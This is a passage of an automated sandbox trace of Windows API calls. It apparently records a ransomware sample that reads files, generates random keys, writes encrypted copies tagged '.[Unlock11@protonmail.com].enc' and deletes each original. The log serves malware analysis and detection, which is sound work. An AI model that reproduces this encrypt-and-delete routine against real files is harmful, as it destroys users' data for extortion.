() returned 0x0 [0113.742] GetCurrentThreadId () returned 0x9b0 [0113.742] GetLastError () returned 0x0 [0113.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc78 | out: hHeap=0x2ad0000) returned 1 [0113.742] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x32ab9b0 [0113.742] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0113.742] GetLastError () returned 0x0 [0113.742] GetLastError () returned 0x0 [0113.742] GetLastError () returned 0x0 [0113.743] GetLastError () returned 0x0 [0113.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6a78 [0113.743] GetLastError () returned 0x0 [0113.743] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.743] GetFileType (hFile=0x39c) returned 0x1 [0113.743] GetLastError () returned 0x0 [0113.743] GetCurrentThreadId () returned 0x9b0 [0113.743] GetLastError () returned 0x0 [0113.743] GetFileType (hFile=0x39c) returned 0x1 [0113.743] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.744] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.744] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.744] GetLastError () returned 0x0 [0113.744] GetCurrentThreadId () returned 0x9b0 [0113.744] GetLastError () returned 0x0 [0113.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6a78 | out: hHeap=0x2ad0000) returned 1 [0113.744] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a20138 | out: hHeap=0x2ad0000) returned 1 [0113.744] GetLastError () returned 0x0 [0113.744] GetLastError () returned 0x0 [0113.745] GetLastError () returned 0x0 [0113.745] GetLastError () returned 0x0 [0113.745] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.745] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6d18 [0113.745] GetLastError () returned 0x0 [0113.745] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\Strings.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\strings.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.745] GetFileType (hFile=0x3ac) returned 0x1 [0113.745] GetLastError () returned 0x0 [0113.745] GetCurrentThreadId () returned 0x9b0 [0113.746] GetLastError () returned 0x0 [0113.746] GetFileType (hFile=0x3ac) returned 0x1 [0113.746] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.746] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.746] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.746] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.746] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.746] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.746] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.746] GetLastError () returned 0x0 [0113.746] GetCurrentThreadId () returned 0x9b0 [0113.746] GetLastError () returned 0x0 [0113.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6d18 | out: hHeap=0x2ad0000) returned 1 [0113.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38874e8 | out: hHeap=0x2ad0000) returned 1 [0113.747] GetCurrentThreadId () returned 0x9b0 [0113.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0113.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0113.747] GetLastError () returned 0x0 [0113.747] GetLastError () returned 0x0 [0113.747] GetCurrentThreadId () returned 0x9b0 [0113.747] GetLastError () returned 0x0 [0113.747] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.747] GetLastError () returned 0x0 [0113.747] GetLastError () returned 0x0 [0113.747] GetCurrentThreadId () returned 0x9b0 [0113.747] GetLastError () returned 0x0 [0113.747] GetLastError () returned 0x0 [0113.749] GetLastError () returned 0x0 [0113.749] GetCurrentThreadId () returned 0x9b0 [0113.749] GetLastError () returned 0x0 [0113.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x3719) returned 0x35c5908 [0113.749] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x3725) returned 0x35c5908 [0113.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6c98 [0113.749] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x32ab9b0 | out: hHeap=0x2ad0000) returned 1 [0113.749] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x3728) returned 0x38273e0 [0113.750] GetLastError () returned 0x0 [0113.750] GetLastError () returned 0x0 [0113.750] GetLastError () returned 0x0 [0113.750] GetLastError () returned 0x0 [0113.750] GetCurrentThreadId () returned 0x9b0 [0113.750] GetLastError () returned 0x0 [0113.750] GetCurrentThreadId () returned 0x9b0 [0113.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x3725) returned 0x3887a10 [0113.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38273e0 | out: hHeap=0x2ad0000) returned 1 [0113.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0113.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0113.750] GetLastError () returned 0x0 [0113.751] GetLastError () returned 0x0 [0113.752] GetCurrentThreadId () returned 0x9b0 [0113.752] GetLastError () returned 0x0 [0113.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.752] GetLastError () returned 0x0 [0113.752] GetLastError () returned 0x0 [0113.752] GetCurrentThreadId () returned 0x9b0 [0113.752] GetLastError () returned 0x0 [0113.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.752] GetLastError () returned 0x0 [0113.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.753] CloseHandle (hObject=0x3ac) returned 1 [0113.753] GetLastError () returned 0x0 [0113.753] GetCurrentThreadId () returned 0x9b0 [0113.753] GetLastError () returned 0x0 [0113.753] GetLastError () returned 0x0 [0113.753] CloseHandle (hObject=0x39c) returned 1 [0113.753] GetLastError () returned 0x0 [0113.754] GetCurrentThreadId () returned 0x9b0 [0113.754] GetLastError () returned 0x0 [0113.754] GetLastError () returned 0x0 [0113.754] GetLastError () returned 0x0 [0113.754] GetLastError () returned 0x0 [0113.754] GetLastError () returned 0x0 [0113.754] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\Strings.xml" (normalized: "c:\\588bce7c90097ed212\\strings.xml")) returned 1 [0113.755] GetLastError () returned 0x0 [0113.755] GetCurrentThreadId () returned 0x9b0 [0113.755] GetLastError () returned 0x0 [0113.755] GetLastError () returned 0x0 [0113.755] GetLastError () returned 0x0 [0113.755] GetLastError () returned 0x0 [0113.755] GetLastError () returned 0x0 [0113.756] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\UiInfo.xml", lpFilePart=0x9bada4*="UiInfo.xml") returned 0x20 [0113.756] GetCurrentThreadId () returned 0x9b0 [0113.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0113.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0113.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262db0 [0113.756] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262db0 | out: hHeap=0x2ad0000) returned 1 [0113.756] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0113.756] GetLastError () returned 0x0 [0113.756] GetLastError () returned 0x0 [0113.756] GetLastError () returned 0x0 [0113.756] GetLastError () returned 0x0 [0113.757] GetCurrentThreadId () returned 0x9b0 [0113.757] GetLastError () returned 0x0 [0113.757] GetCurrentThreadId () returned 0x9b0 [0113.757] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0113.757] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cf20 [0113.757] GetLastError () returned 0x0 [0113.757] GetLastError () returned 0x0 [0113.757] GetLastError () returned 0x0 [0113.757] GetLastError () returned 0x0 [0113.757] GetCurrentThreadId () returned 0x9b0 [0113.757] GetLastError () returned 0x0 [0113.757] GetLastError () returned 0x0 [0113.757] GetLastError () returned 0x0 [0113.758] GetLastError () returned 0x0 [0113.758] GetLastError () returned 0x0 [0113.758] GetCurrentThreadId () returned 0x9b0 [0113.758] GetLastError () returned 0x0 [0113.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cf20 | out: hHeap=0x2ad0000) returned 1 [0113.758] GetLastError () returned 0x0 [0113.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d60f0 | out: hHeap=0x2ad0000) returned 1 [0113.758] GetLastError () returned 0x0 [0113.758] GetLastError () returned 0x0 [0113.758] GetLastError () returned 0x0 [0113.758] GetCurrentThreadId () returned 0x9b0 [0113.758] GetLastError () returned 0x0 [0113.759] GetCurrentThreadId () returned 0x9b0 [0113.759] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a828 [0113.759] GetLastError () returned 0x0 [0113.759] GetLastError () returned 0x0 [0113.759] GetLastError () returned 0x0 [0113.759] GetLastError () returned 0x0 [0113.759] GetCurrentThreadId () returned 0x9b0 [0113.759] GetLastError () returned 0x0 [0113.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a828 | out: hHeap=0x2ad0000) returned 1 [0113.759] GetLastError () returned 0x0 [0113.759] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0113.759] GetLastError () returned 0x0 [0113.760] GetLastError () returned 0x0 [0113.760] GetLastError () returned 0x0 [0113.760] GetCurrentThreadId () returned 0x9b0 [0113.760] GetLastError () returned 0x0 [0113.760] GetLastError () returned 0x0 [0113.760] GetLastError () returned 0x0 [0113.760] GetLastError () returned 0x0 [0113.760] GetLastError () returned 0x0 [0113.760] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0113.760] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2)) returned 1 [0113.760] GetLastError () returned 0x0 [0113.761] GetCurrentThreadId () returned 0x9b0 [0113.761] GetLastError () returned 0x0 [0113.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.761] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662df4 | out: pbBuffer=0x3662df4) returned 1 [0113.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0113.761] GetCurrentThreadId () returned 0x9b0 [0113.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34adba8 [0113.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0113.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ce08 [0113.761] GetLastError () returned 0x0 [0113.761] GetLastError () returned 0x0 [0113.761] GetLastError () returned 0x0 [0113.762] GetLastError () returned 0x0 [0113.762] GetCurrentThreadId () returned 0x9b0 [0113.762] GetLastError () returned 0x0 [0113.762] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ce08 | out: hHeap=0x2ad0000) returned 1 [0113.762] GetCurrentThreadId () returned 0x9b0 [0113.762] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ced0 [0113.762] GetLastError () returned 0x0 [0113.762] GetLastError () returned 0x0 [0113.762] GetLastError () returned 0x0 [0113.762] GetLastError () returned 0x0 [0113.762] GetCurrentThreadId () returned 0x9b0 [0113.762] GetLastError () returned 0x0 [0113.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ced0 | out: hHeap=0x2ad0000) returned 1 [0113.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x33f6bf8 [0113.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34adba8 | out: hHeap=0x2ad0000) returned 1 [0113.763] GetCurrentThreadId () returned 0x9b0 [0113.763] GetLastError () returned 0x0 [0113.763] GetLastError () returned 0x0 [0113.763] GetLastError () returned 0x0 [0113.763] GetLastError () returned 0x0 [0113.763] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0113.763] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c08 [0113.763] GetLastError () returned 0x0 [0113.763] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0113.764] GetFileType (hFile=0x39c) returned 0x1 [0113.764] GetLastError () returned 0x0 [0113.764] GetCurrentThreadId () returned 0x9b0 [0113.764] GetLastError () returned 0x0 [0113.764] GetFileType (hFile=0x39c) returned 0x1 [0113.764] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.764] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.764] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.765] GetLastError () returned 0x0 [0113.765] GetCurrentThreadId () returned 0x9b0 [0113.765] GetLastError () returned 0x0 [0113.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c08 | out: hHeap=0x2ad0000) returned 1 [0113.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff58 | out: hHeap=0x2ad0000) returned 1 [0113.765] GetLastError () returned 0x0 [0113.765] GetLastError () returned 0x0 [0113.765] GetLastError () returned 0x0 [0113.765] GetLastError () returned 0x0 [0113.765] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881240 | out: hHeap=0x2ad0000) returned 1 [0113.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33f6c18 [0113.765] GetLastError () returned 0x0 [0113.766] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0113.766] GetFileType (hFile=0x3ac) returned 0x1 [0113.767] GetLastError () returned 0x0 [0113.767] GetCurrentThreadId () returned 0x9b0 [0113.767] GetLastError () returned 0x0 [0113.767] GetFileType (hFile=0x3ac) returned 0x1 [0113.767] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0113.767] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.767] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.767] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.767] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.767] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0113.767] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0113.767] GetLastError () returned 0x0 [0113.767] GetCurrentThreadId () returned 0x9b0 [0113.768] GetLastError () returned 0x0 [0113.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6c18 | out: hHeap=0x2ad0000) returned 1 [0113.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38879b0 | out: hHeap=0x2ad0000) returned 1 [0113.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811f8 [0113.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811f8 | out: hHeap=0x2ad0000) returned 1 [0113.768] GetLastError () returned 0x0 [0113.768] GetLastError () returned 0x0 [0113.768] GetCurrentThreadId () returned 0x9b0 [0113.768] GetLastError () returned 0x0 [0113.768] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0113.768] GetLastError () returned 0x0 [0113.768] GetLastError () returned 0x0 [0113.769] GetCurrentThreadId () returned 0x9b0 [0113.769] GetLastError () returned 0x0 [0113.769] GetLastError () returned 0x0 [0113.770] GetLastError () returned 0x0 [0113.770] GetCurrentThreadId () returned 0x9b0 [0113.770] GetLastError () returned 0x0 [0113.771] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x9807) returned 0x35c5908 [0113.771] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x35c5908, Size=0x9815) returned 0x35c5908 [0113.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33f6cb8 [0113.771] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33f6bf8 | out: hHeap=0x2ad0000) returned 1 [0113.771] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x9818) returned 0x3887a10 [0113.771] GetCurrentThreadId () returned 0x9b0 [0113.771] GetLastError () returned 0x0 [0113.771] GetLastError () returned 0x0 [0113.771] GetLastError () returned 0x0 [0113.771] GetLastError () returned 0x0 [0113.772] GetCurrentThreadId () returned 0x9b0 [0113.772] GetLastError () returned 0x0 [0113.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887a10 | out: hHeap=0x2ad0000) returned 1 [0113.772] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0113.772] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0113.772] GetLastError () returned 0x0 [0113.773] GetLastError () returned 0x0 [0113.773] GetCurrentThreadId () returned 0x9b0 [0113.773] GetLastError () returned 0x0 [0113.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35b89d8 | out: hHeap=0x2ad0000) returned 1 [0113.774] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0113.774] GetLastError () returned 0x0 [0113.774] GetLastError () returned 0x0 [0113.774] GetCurrentThreadId () returned 0x9b0 [0113.774] GetLastError () returned 0x0 [0113.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0113.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35c5908 | out: hHeap=0x2ad0000) returned 1 [0113.774] GetLastError () returned 0x0 [0113.774] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0113.775] CloseHandle (hObject=0x3ac) returned 1 [0113.775] GetLastError () returned 0x0 [0113.775] GetCurrentThreadId () returned 0x9b0 [0113.775] GetLastError () returned 0x0 [0113.775] GetLastError () returned 0x0 [0113.775] CloseHandle (hObject=0x39c) returned 1 [0113.775] GetLastError () returned 0x0 [0113.775] GetCurrentThreadId () returned 0x9b0 [0113.775] GetLastError () returned 0x0 [0113.775] GetLastError () returned 0x0 [0113.775] GetLastError () returned 0x0 [0113.776] GetLastError () returned 0x0 [0113.776] GetLastError () returned 0x0 [0113.776] DeleteFileA (lpFileName="C:\\588bce7c90097ed212\\UiInfo.xml" (normalized: "c:\\588bce7c90097ed212\\uiinfo.xml")) returned 1 [0113.777] GetLastError () returned 0x0 [0113.777] GetCurrentThreadId () returned 0x9b0 [0113.777] GetLastError () returned 0x0 [0113.777] GetLastError () returned 0x0 [0113.777] GetLastError () returned 0x0 [0113.777] GetLastError () returned 0x0 [0113.777] GetLastError () returned 0x0 [0113.778] GetFullPathNameA (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\588bce7c90097ed212\\watermark.bmp", lpFilePart=0x9bada4*="watermark.bmp") returned 0x23 [0113.778] GetCurrentThreadId () returned 0x9b0 [0113.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0113.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0113.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0113.778] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262e58 | out: hHeap=0x2ad0000) returned 1 [0113.778] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382cc78 [0113.778] GetLastError () returned 0x0 [0113.778] GetLastError () returned 0x0 [0113.778] GetLastError () returned 0x0 [0113.778] GetLastError () returned 0x0 [0113.778] GetCurrentThreadId () returned 0x9b0 [0113.779] GetLastError () returned 0x0 [0113.779] GetCurrentThreadId () returned 0x9b0 [0113.779] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382cc78 | out: hHeap=0x2ad0000) returned 1 [0113.779] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x382ced0 [0113.779] GetLastError () returned 0x0 [0113.779] GetLastError () returned 0x0 [0113.779] GetLastError () returned 0x0 [0113.779] GetLastError () returned 0x0 [0113.779] GetCurrentThreadId () returned 0x9b0 [0113.779] GetLastError () returned 0x0 [0113.779] GetLastError () returned 0x0 [0113.779] GetLastError () returned 0x0 [0113.779] GetLastError () returned 0x0 [0113.780] GetLastError () returned 0x0 [0113.780] GetCurrentThreadId () returned 0x9b0 [0113.780] GetLastError () returned 0x0 [0113.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x382ced0 | out: hHeap=0x2ad0000) returned 1 [0113.780] GetLastError () returned 0x0 [0113.780] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6708 | out: hHeap=0x2ad0000) returned 1 [0113.780] GetLastError () returned 0x0 [0113.780] GetLastError () returned 0x0 [0113.780] GetLastError () returned 0x0 [0113.780] GetCurrentThreadId () returned 0x9b0 [0113.780] GetLastError () returned 0x0 [0113.780] GetCurrentThreadId () returned 0x9b0 [0113.781] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x38) returned 0x2a8a5a8 [0113.781] GetLastError () returned 0x0 [0113.781] GetCurrentThreadId () returned 0x9b0 [0113.781] GetCurrentThreadId () returned 0x9b0 [0113.781] GetFileAttributesExA (in: lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688)) returned 1 [0113.781] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x3662ee4 | out: pbBuffer=0x3662ee4) returned 1 [0113.782] CreateFileA (lpFileName="C:\\588bce7c90097ed212\\watermark.bmp" (normalized: "c:\\588bce7c90097ed212\\watermark.bmp"), 